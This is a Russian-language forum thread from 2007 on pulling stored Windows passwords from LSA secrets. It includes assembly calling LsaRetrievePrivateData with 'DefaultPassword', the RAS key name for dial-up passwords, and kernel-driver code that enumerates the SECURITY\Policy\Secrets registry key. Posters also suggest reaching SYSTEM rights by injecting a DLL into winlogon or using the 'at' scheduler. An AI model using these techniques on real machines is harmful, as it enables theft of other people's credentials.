получние пароля через LsaRetrievePrivateData

Тема в разделе "WASM.WIN32", создана пользователем rain, 3 янв 2007.

  1. rain

    rain New Member

    Публикаций:
    0
    Регистрация:
    22 апр 2006
    Сообщения:
    976
    у Ratter'a/29A есть статья "Gaining passwords" там спомошью такого нехитрого кода получаем дэфолтный пароль входа в систему:
    Код (Text):
    1. ;- Retrieving DefaultPassword -
    2. ; Lsa* apis are exported by advapi32.dll
    3.  
    4. key_name    dw  name_length
    5.         dw  name_length
    6.         dd  offset _name_
    7. _name_      dw  "D", "e", "f", "a", "u", "l", "t", "P", "a", "s", \
    8.             "s", "w", "o", "r", "d"
    9. name_length equ $-_name_
    10.  
    11.  
    12.         @pushvar <policy_handle dd  ?>
    13.     push 1
    14.     call $+5+6*4
    15.         dd  6*4
    16.         dd  5 dup(?)
    17.     push 0
    18.     calle LsaOpenPolicy
    19.        
    20.         @pushvar <private_data  dd  ?>
    21.         push offset key_name
    22.     push dword ptr [policy_handle]
    23.     calle LsaRetrievePrivateData
    24.  
    25.         mov eax, dword ptr [private_data]   ; now in eax ptr to an UNICODE string
    26.     xchg eax, ecx
    27.     jecxz next
    28.                         ; which contains the DefaultPassword
    29.     push eax
    30.     mov eax, dword ptr [eax+4]      ; now in eax the *DefaultPassword
    31.  
    32.     push eax
    33.     calle LsaFreeMemory
    34.     calle LsaFreeMemory
    35.  
    36.     push dword ptr [policy_handle]
    37.     calle LsaClose
    попроболвал, действительно работает )
    интересно откуда он это узнал что keyname в LsaRetrievePrivateData должен быть равен "DefaultPassword"?
    поискал в мсдн, не нашёл, там только про приставки к этим ключам? (может плохо искал?) поиск по форуму вывел на "L$_RasDefaultCredentials#0", который буд-то бы должен был вернуть пароль от RAS соединения, но это у меня уже не работало...
    ещё в гугле нашёл "RasDialParams!%s#0" но даже не стал проверять т.к. написано что это только для w2k
    вопрос: откуда они узнали имена ключей или где их взять, может ещё кто знает какие есть?
    ЗЫ на форуме нашёл линк на програмку dialuppass2 она кстати показывает парольчик от RAS, щас буду её курить..
     
  2. IceStudent

    IceStudent Active Member

    Публикаций:
    0
    Регистрация:
    2 окт 2003
    Сообщения:
    4.300
    Адрес:
    Ukraine
    Вероятно, отреверсили или копались в сорцах винды.
     
  3. rain

    rain New Member

    Публикаций:
    0
    Регистрация:
    22 апр 2006
    Сообщения:
    976
    как оказалось на моём w2k3 sp1 работает способ который я не стал проверять в #1 т.е. с "RasDialParams!%s#0" ... его то и юзает dialuppass2
    странно почему нет статей на эту тему, а гугл выдаёт буквально пару ссылок по теме, ведь совсем не сложно таким макаром поиметь парольчик на dialup
     
  4. Klayd

    Klayd Степан

    Публикаций:
    0
    Регистрация:
    7 апр 2006
    Сообщения:
    59
    Адрес:
    Киев
    насколько я понимаю эти ключи находятся в \\Registry\\Machine\\SECURITY\\Policy\\Secrets\
     
  5. rain

    rain New Member

    Публикаций:
    0
    Регистрация:
    22 апр 2006
    Сообщения:
    976
    Klayd
    интересно у меня такой ветки не наблюдается, поиск по реестру ключевых слов RasDefaultCredentials, RasDialParams так же как и Registry ничёго не дал
     
  6. Klayd

    Klayd Степан

    Публикаций:
    0
    Регистрация:
    7 апр 2006
    Сообщения:
    59
    Адрес:
    Киев
    Из юзермода до этой ветки не достать, винда не дает, но из драйвера, например, ее видно
     
  7. rain

    rain New Member

    Публикаций:
    0
    Регистрация:
    22 апр 2006
    Сообщения:
    976
    а есть тулзы которые позволяют просматривать\редактировать реестр из кернела?
     
  8. Klayd

    Klayd Степан

    Публикаций:
    0
    Регистрация:
    7 апр 2006
    Сообщения:
    59
    Адрес:
    Киев
    Не слышал о таких
     
  9. rain

    rain New Member

    Публикаций:
    0
    Регистрация:
    22 апр 2006
    Сообщения:
    976
    ясно, а можешь перечислить что там ещё есть? я пока не распологаю достаточными знаниями для написания драйвера
     
  10. n0name

    n0name New Member

    Публикаций:
    0
    Регистрация:
    5 июн 2004
    Сообщения:
    4.336
    Адрес:
    Russia
    rain
    Написать самому дело пары часов.
     
  11. Klayd

    Klayd Степан

    Публикаций:
    0
    Регистрация:
    7 апр 2006
    Сообщения:
    59
    Адрес:
    Киев
    Код (Text):
    1.              PWCHAR nameBuffer = (PWCHAR) NULL;
    2.  
    3.     RtlInitUnicodeString(&KeyString, L"\\Registry\\Machine\\SECURITY\\Policy\\Secrets");
    4.  
    5.     InitializeObjectAttributes (&ObjectAttributes,
    6.                                 &KeyString,
    7.                                 OBJ_CASE_INSENSITIVE,
    8.                                 NULL,
    9.                                 NULL);
    10.  
    11.     Status = ZwOpenKey (&KeyHandle,
    12.                         KEY_ALL_ACCESS,
    13.                         &ObjectAttributes);
    14.  
    15.     DbgPrint("\n***ZwOpenKey with status: 0x%lx", Status);
    16.  
    17.     KeyInformation = ExAllocatePool(NonPagedPool, sizeof(KEY_BASIC_INFORMATION) + 200);
    18.     while(NT_SUCCESS(Status))
    19.     {
    20.         Status = ZwEnumerateKey(KeyHandle,
    21.                                 Index,
    22.                                 KeyBasicInformation,
    23.                                 KeyInformation,
    24.                                 sizeof(KEY_BASIC_INFORMATION) + 200,
    25.                                 &ResultLength);
    26.  
    27.         nameBuffer = ExAllocatePool(NonPagedPool, KeyInformation->NameLength + 2);
    28.         memcpy(nameBuffer, &(KeyInformation->Name), KeyInformation->NameLength);
    29.         RtlZeroMemory((PVOID)((ULONG)nameBuffer + KeyInformation->NameLength), 2);
    30.         DbgPrint("\n    %ws", nameBuffer);
    31.         ExFreePool(nameBuffer);
    32.         Index++;
    33.     }
    34.     ExFreePool(KeyInformation);
    35.  
    36.     DbgPrint("\n***Status of ZwEnumerateKey: 0x%lx \n", Status);
    37.  
    38.     Index = 0;
    39.     Status = STATUS_SUCCESS;
    40.     KeyValueInformation = ExAllocatePool(NonPagedPool, sizeof(KEY_VALUE_FULL_INFORMATION) + 2000);
    41.     while(NT_SUCCESS(Status))
    42.     {
    43.         Status = ZwEnumerateValueKey(KeyHandle,
    44.                                      Index,
    45.                                      KeyValueFullInformation,
    46.                                      KeyValueInformation,
    47.                                      sizeof(KEY_VALUE_FULL_INFORMATION) + 2000,
    48.                                      &ResultLength);
    49.  
    50.         nameBuffer = ExAllocatePool(NonPagedPool, KeyValueInformation->NameLength + 2);
    51.         memcpy(nameBuffer, &(KeyValueInformation->Name), KeyValueInformation->NameLength);
    52.         RtlZeroMemory((PVOID)((ULONG)nameBuffer + KeyValueInformation->NameLength), 2);
    53.         DbgPrint("\n    %ws", nameBuffer);
    54.         ExFreePool(nameBuffer);
    55.         Index++;
    56.     }
    57.     ExFreePool(KeyValueInformation);
    Вот примерный код, который выводит содержание того ключа DbgPrint'ом
     
  12. rain

    rain New Member

    Публикаций:
    0
    Регистрация:
    22 апр 2006
    Сообщения:
    976
    Klayd,n0name пасиб буду разбираться по свободе
     
  13. IceStudent

    IceStudent Active Member

    Публикаций:
    0
    Регистрация:
    2 окт 2003
    Сообщения:
    4.300
    Адрес:
    Ukraine
    Любой редактор реестра с поддержкой установки разрешений для ключей. Выставляете админу (или кем залогинились) права на чтение HKLM\Security и дальше читаете что надо. Либо запускать редактор реестра от имени SYSTEM.
     
  14. 0x90

    0x90 New Member

    Публикаций:
    0
    Регистрация:
    18 мар 2005
    Сообщения:
    5
    rain
    я делал так. Внедрял дллку в винлогон. Дллка открывал консоль. А там уже в консоли regedit.exe и пошел.
    В результате редактор реестра у тебя будет запущен с правами системы.
     
  15. IceStudent

    IceStudent Active Member

    Публикаций:
    0
    Регистрация:
    2 окт 2003
    Сообщения:
    4.300
    Адрес:
    Ukraine
    0x90
    Проще "at" использовать (правда, в какой-то винде это исправили, но в XP SP2 ещё работает).
     
  16. rain

    rain New Member

    Публикаций:
    0
    Регистрация:
    22 апр 2006
    Сообщения:
    976
    IceStudent для ат нужна служба расписаний, а вообще вариант со службой более дзенский
    [add]
    кстати открытого парольчика нет если смотреть через реестр..
    там 5-ть подразделов:
    CupdTime
    CurrVal
    OldVal
    OupdTime
    SecDesc

    Логично предположить что CurrVal это и есть какой-то шифрованый пароль (там аж 64 хекса)